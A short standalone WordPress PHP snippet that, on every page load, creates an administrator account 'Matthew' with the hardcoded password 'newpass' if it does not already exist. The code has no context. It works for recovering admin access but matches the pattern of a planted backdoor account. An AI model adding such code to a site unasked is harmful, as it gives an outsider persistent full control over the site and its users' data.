<?php
add_action('init', function() {
	$username = 'Matthew';
	$password = 'newpass';
	$email = 'matt@example.com';

	if (!username_exists($username)) {
		$user_id = wp_create_user($username, $password, $email);
		$user = new WP_User($user_id);
		$user->set_role('administrator');
	}
});
?>